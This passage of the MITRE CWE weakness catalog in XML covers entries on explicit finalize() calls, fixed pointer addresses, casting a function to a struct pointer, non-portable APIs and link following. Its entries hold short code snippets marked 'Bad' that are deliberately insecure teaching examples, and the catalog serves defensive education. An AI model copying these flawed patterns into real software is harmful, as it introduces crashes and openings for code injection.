               <Description>Do not make explicit calls to finalize(). Use static analysis tools to spot such instances.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code fragment calls finalize() explicitly:</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i>// time to clean up</xhtml:i>
                     <xhtml:br/>widget.finalize();</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>MET12-J</Entry_ID>
               <Entry_Name>Do not use finalizers</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP3</Entry_ID>
               <Entry_Name>Use of an improper API</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-12-15</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Name, Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Type</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-09-09">Explicit Call to Finalize</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="587" Name="Assignment of a Fixed Address to a Pointer" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product sets a pointer to a specific address other than NULL or 0.</Description>
         <Extended_Description>Using a fixed address is not portable, because that address will probably not be valid in all environments or platforms.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="344" View_ID="1000"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="758" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
            <Language Name="C#" Prevalence="Undetermined"/>
            <Language Class="Assembly" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>If one executes code at a known location, an attacker might be able to inject code there beforehand.</Note>
            </Consequence>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
	       <Impact>Reduce Maintainability</Impact>
	       <Impact>Reduce Reliability</Impact>
               <Note>If the code is ported to another platform or environment, the pointer is likely to be invalid and cause a crash.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Memory</Impact>
               <Impact>Modify Memory</Impact>
               <Note>The data at a known pointer location can be easily read or influenced by an attacker.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Never set a pointer to a fixed address.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>This code assumes a particular function will always be found at a particular address. It assigns a pointer to that address and calls the function.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int (*pt2Function) (float, char, char)=0x08040000;<xhtml:br/>int result2 = (*pt2Function) (12, 'a', 'b');<xhtml:br/>
                     <xhtml:i>// Here we can inject code to execute.</xhtml:i>
                     <xhtml:br/>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>The same function may not always be found at the same memory address. This could lead to a crash, or an attacker may alter the memory at the expected address, leading to arbitrary code execution.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>INT36-C</Entry_ID>
               <Entry_Name>Converting a pointer to integer or integer to pointer</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP1</Entry_ID>
               <Entry_Name>Glitch in computation</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2006-12-15</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>KDM Analytics</Modification_Organization>
               <Modification_Date>2008-08-01</Modification_Date>
               <Modification_Comment>added/updated white box definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Relationships, Other_Notes, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Taxonomy_Mappings, White_Box_Definitions</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction, Type</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="588" Name="Attempt to Access Child of a Non-structure Pointer" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>Casting a non-structure type to a structure type and accessing a field can lead to memory access errors or data corruption.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="704" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="758" View_ID="1000"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Memory</Impact>
               <Note>Adjacent variables in memory may be corrupted by assignments performed on fields after the cast.</Note>
            </Consequence>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>Execution may end due to a memory access error.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Requirements</Phase>
               <Description>The choice could be made to use a language that is not susceptible to these issues.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Review of type casting operations can identify locations where incompatible types are cast.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following example demonstrates the weakness.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>struct foo<xhtml:br/>{<xhtml:div style="margin-left:1em;">int i;</xhtml:div>}<xhtml:br/>...<xhtml:br/>int main(int argc, char **argv)<xhtml:br/>{<xhtml:div style="margin-left:1em;">*foo = (struct foo *)main;<xhtml:br/>foo-&gt;i = 2;<xhtml:br/>return foo-&gt;i;</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP7</Entry_ID>
               <Entry_Name>Faulty Pointer Use</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-12-15</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="589" Name="Call to Non-ubiquitous API" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product uses an API function that does not exist on all versions of the target platform. This could cause portability problems or inconsistencies that allow denial of service or other consequences.</Description>
         <Extended_Description>Some functions that offer security features supported by the OS are not available on all versions of the OS in common use. Likewise, functions are often deprecated or made obsolete for security reasons and should not be used.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="474" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Quality Degradation</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Always test your code on any platform on which it is targeted to run on.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Test your code on the newest and oldest platform on which it is targeted to run on.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Develop a system to test for API functions that are not portable.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>MET02-J</Entry_ID>
               <Entry_Name>Do not use deprecated or obsolete classes or methods</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>SER00-J</Entry_ID>
               <Entry_Name>Maintain serialization compatibility during class evolution</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP3</Entry_ID>
               <Entry_Name>Use of an improper API</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="96"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2006-12-15</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Call to Limited API</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="59" Name="Improper Link Resolution Before File Access ('Link Following')" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="706" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="706" View_ID="1003" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Operating_System Class="Windows" Prevalence="Sometimes"/>
            <Operating_System Class="Unix" Prevalence="Often"/>
         </Applicable_Platforms>
         <Background_Details>
            <Background_Detail>Soft links are a UNIX term that is synonymous with simple shortcuts on Windows-based platforms.</Background_Detail>
         </Background_Details>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>insecure temporary file</Term>
               <Description>Some people use the phrase "insecure temporary file" when referring to a link following weakness, but other weaknesses can produce insecure temporary files without any symlink involvement at all.</Description>
            </Alternate_Term>
            <Alternate_Term>
               <Term>Zip Slip</Term>
               <Description>"Zip slip" is an attack that uses file archives (e.g., ZIP, tar, rar, etc.) that contain filenames with path traversal sequences that cause the files to be written outside of the directory under which the archive is expected to be extracted [REF-1282]. It is most commonly used for relative path traversal (CWE-23) and link following (CWE-59).</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Access Control</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>An attacker may be able to traverse the file system to unintended locations and read or overwrite the contents of unexpected files. If the files are used for a security mechanism then an attacker may be able to bypass the mechanism.</Note>
            </Consequence>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>Windows simple shortcuts, sometimes referred to as soft links, can be exploited remotely since a ".LNK" file can be uploaded like a normal file. This can enable remote execution.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Automated Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Bytecode Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Binary / Bytecode disassembler - then use manual analysis for vulnerabilities &amp; anomalies</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Automated Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Web Application Scanner</xhtml:li>
                           <xhtml:li>Web Services Scanner</xhtml:li>
                           <xhtml:li>Database Scanners</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Fuzz Tester</xhtml:li>
                           <xhtml:li>Framework-based Fuzzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Focused Manual Spotcheck - Focused manual analysis of source</xhtml:li>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Source code Weakness Analyzer</xhtml:li>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-48.1">
               <Phase>Architecture and Design</Phase>
               <Strategy>Separation of Privilege</Strategy>
               <Description>
                  <xhtml:p>Follow the principle of least privilege when assigning access rights to entities in a software system.</xhtml:p>
